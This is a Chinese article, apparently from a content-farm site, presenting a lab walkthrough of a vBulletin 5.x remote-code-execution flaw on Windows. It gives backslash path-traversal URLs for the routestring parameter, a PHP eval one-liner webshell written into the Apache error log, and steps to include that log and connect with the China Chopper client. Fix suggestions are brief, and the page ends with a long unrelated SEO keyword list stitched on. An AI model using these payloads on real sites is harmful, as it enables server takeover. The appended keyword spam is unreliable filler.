千家信息网

vBulletin5.x版本通杀远程代码执行漏洞的实例分析

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,本篇文章为大家展示了vBulletin5.x版本通杀远程代码执行漏洞的实例分析,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。一、漏洞介绍vBulletin中存
千家信息网最后更新 2026年10月31日vBulletin5.x版本通杀远程代码执行漏洞的实例分析

本篇文章为大家展示了vBulletin5.x版本通杀远程代码执行漏洞的实例分析,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。

一、漏洞介绍

vBulletin中存在一个文件包含问题,可使恶意访问者包含来自 vBulletin 服务器的文件并且执行任意 PHP 代码。未经验证的恶意访问者可通过向index.php发出包含routestring=参数的GET 请求,从而触发文件包含漏洞,最终导致远程代码执行漏洞

二、漏洞原理

index.php页面发送GET请求去使用routestring参数包含本地文件时,层层调用功能函数对routestring的值进行过滤,我们来看主要的处理代码。

该代码位于/includes/vb5/frontend/routing.php文件

if  (strlen($path)  >  2  )            {                $ext = strtolower(substr($path,  -4))  ;              if(($ext == '.gif') OR ($ext == '.png')OR($ext == '.jpg')  OR ($ext == '.css') OR (strtolower(substr($path,-3)) == '.js'))          {                header("HTTP/1.0 404 Not Found");            die('');          }    }

这段代码判断routestring获取的值是否以.gif, .png, .jpg, .css or .js结尾,如果是则头部信息返回404

if  (strpos($path,  '/')  ===  false)            {                $this->controller  =  'relay';              $this->action  =  'legacy';              $this->template  =  '';              $this->arguments  =  array($path);              $this->queryParameters  =  array();              return;          }

这段代码中strpos()函数返回/字符在$path中第一次出现的位置,若返回信息为false才会继续处理,也就是说路径中不能出现/。

对于Linux服务器,处理URL时,/表示目录层的分隔、表示符,所以此处无法以多个../的方式包含网站中的其他文件。但是对于Windows服务器,/和\在表达路径时,是等价的,而程序并没有对\进行处理,所以导致本次针对Windows服务器的文件包含漏洞。

影响版本

版本号 vBulletin v5.x版本 漏洞发现者已联系厂商,暂未得到回复

三、漏洞利用

接下来的实操部分,我们将逐步深入漏洞的理解和利用,先利用页面报错,获取服务器相关信息;再包含服务器内部文件,执行phpinfo()验证代码执行;最后包含写入PHP一句话的网站日志文件,获取网站管理权限。

步骤1 漏洞验证

这一步,我们简单利用报错获取服务器信息,然后利用漏洞去包含执行phpinfo()函数进行验证

1.打开目标网址172.16.12.2/vb5/index.php,网站主页如下:

2.访问漏洞页面,查看报错信息

在浏览器中打开172.16.12.2/vb5/index.php?routestring=.\\,报错信息如下:

可以看见页面使用require_once()包含当前路径(C:\phpstudy\WWW\vb5/core/.\\)时不被允许而报错,报错信息泄露了网站的绝对路径,以及网站搭建软件:phpstudy

phpstudy 搭建网站时,默认会在网站根目录留下 l.php和phpinfo.php文件,通常网站管理员会删除或者修改这两个文件因为 \还有转义的含义,而表示路径时\\和\是等价的,所以我们使用\\防止被转义(本实验\也可完成)

3.访问 phpinfo.txt文件

此处为了验证包含漏洞,网站根目录下存有phpinfo.txt文件,内容为,我们尝试直接访问该文件,http://172.16.12.2/phpinfo.txt

网站直接将文本内容显示出来了

4.包含 phpinfo.txt文件

我们接着尝试包含该文件,打开构造的链接http://172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\..\\phpstudy\\WWW\\phpinfo.txt

此处我们已知晓网站在服务器上的绝对路径,所以使用多个..\\加上文件路径,表示被包含文件的网站路径,包含该文件后,服务器将文件当做php文件进行解析,执行了phpinfo()函数。

phpinfo():PHP内置函数,输出PHP服务器的配置信息

步骤2 漏洞利用

一般情况下,PHP文件包含漏洞利用的方式都是先利用网站上传点,上传含有恶意代码的文件,然后找到上传后的文件路径,构造URL,通过包含漏洞执行恶意代码。但是,如果网站本身无可利用的上传点,或者对上传的文件做了限制,使得我们无法获知文件的路径,亦或者对输入时获取的参数做出过滤,这种方法就行不通了。

由上述可知,程序对包含的文件后缀做出了限制,在没有其他利用的情况下,我们可以选择包含网站本身存在文件的方式,也就是本次实验的利用方式:包含网站日志文件

本次包含的是Apache的错误访问日志(error.log),这个日志文件在phpstudy中的路径为: \phpstudy\apache\logs\error.log。

1.将一句话写入日志记录

首先,我们构造一个会报错的访问链接,将利用代码(PHP一句话)写入错误日志记录中。

http://172.16.12.2/vb5/index.php

这个链接直接访问的话,一句话会被编码成%3C?php%20@eval($_POST[c]);?%3E,所以需要使用Burp suite改一下包。

使用Everything搜索BurpLoader.jar,双击打开工具Burp suite。


配置浏览器的代理设置:

打开桌面的chrome浏览器,访问chrome://settings或者点击浏览器右侧的自定义按钮--》设置,进入设置界面


点击下方的显示高级设置,找到更改代理服务器设置按钮并打开,在弹出的设置中选择局域网设置

具体配置如下图,修改后确定

配置完代理后,在浏览器中访问上述构造的链接,Burpsuite接受到数据包会自动截获,打开Burpsuite--》proxy--》Intercept,在下方文本框中,右击并选择Send to Repeater,随后点击Repeter功能按钮,对所截获的包进行修改。


我们将被编码的链接改回编码之前的状态,修改后的内容如下:


点击 Go按钮发送,返回403报错,服务器错误日志文件成功将此次记录到error.log中

我们已经成功的将利用代码写入日志中了

注意利用代码的正确性,如果写入错误的代码可能会导致后续包含时,代码不能成功执行

现在,将Burpsuite关闭,并按照上述设置浏览器代理的方法关闭代理

2.构造Webshell连接地址

们根据日志的路径构造访问路径:

http://172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\..\\phpstudy\\apache\\logs\\error.log
  1. 客户端连接一句话

接下来就使用中国菜刀连接我们的一句话,使用Everything搜索并打开chopper,右击,选择添加,在地址栏内填入我们构造好的链接,右侧写入密码c,类型选择 PHP(Eval),然后点击添加。

双击链接,连接成功(此处如果连接不上请检查写入的代码是否正确,代理是否关闭)

包含日志文件需要确定的服务器日志路径,通常管理员会修改相关配置,而且写入代码时需要注意严格的格式和编码,所以这种方法不作为优选利用方法,但是在没有其他利用点的情况下,也是可以尝试的

修复方案

  • (1) 等待官方发布补丁,个人用户建议采用可替代的相关产品

  • (2) 企业用户可修改网站源代码,增加\字符的过滤处理

  • (3) 网站管理人员可以修改服务器本身敏感信息文件位置,避免漏洞的进一步利用

上述内容就是vBulletin5.x版本通杀远程代码执行漏洞的实例分析,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注行业资讯频道。

文件 网站 代码 漏洞 服务器 路径 服务 日志 信息 链接 一句话 浏览器 代理 浏览 版本 内容 函数 处理 选择 配置 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 广东万易互联网科技有限公司惠州分公司 云之行互联网科技 A股互联网金融科技公司 互联网络科技有限公司 远拓互联网科技 上海亿帐通互联网科技 互联网金融科技委员会 甘肃拓世互联网科技有限公司 中国的互联网科技企业的崛起 科技与互联网哪个更好 中化能源互联网科技招聘 互联网经济与金融科技 港股科技和互联网 健康食品互联网创新科技园项目 如何创新互联网科技 互联网公司高科技产品 21世纪互联网科技成就 同城互联网络科技 盐城市攀科互联网科技有限公司 互联网科技创业计划的风险分析 互联网科技有限公司 广东猪兼强互联网科技有限公司 艾特科技互联网 互联网科技咨询 互联网科技大会案例 广州慧亚互联网科技怎么样 互联网科技实习生岗位职责 呼和浩特新华互联网科技学院 互联网与数字科技关系 半导体行业属于互联网高科技类吗
0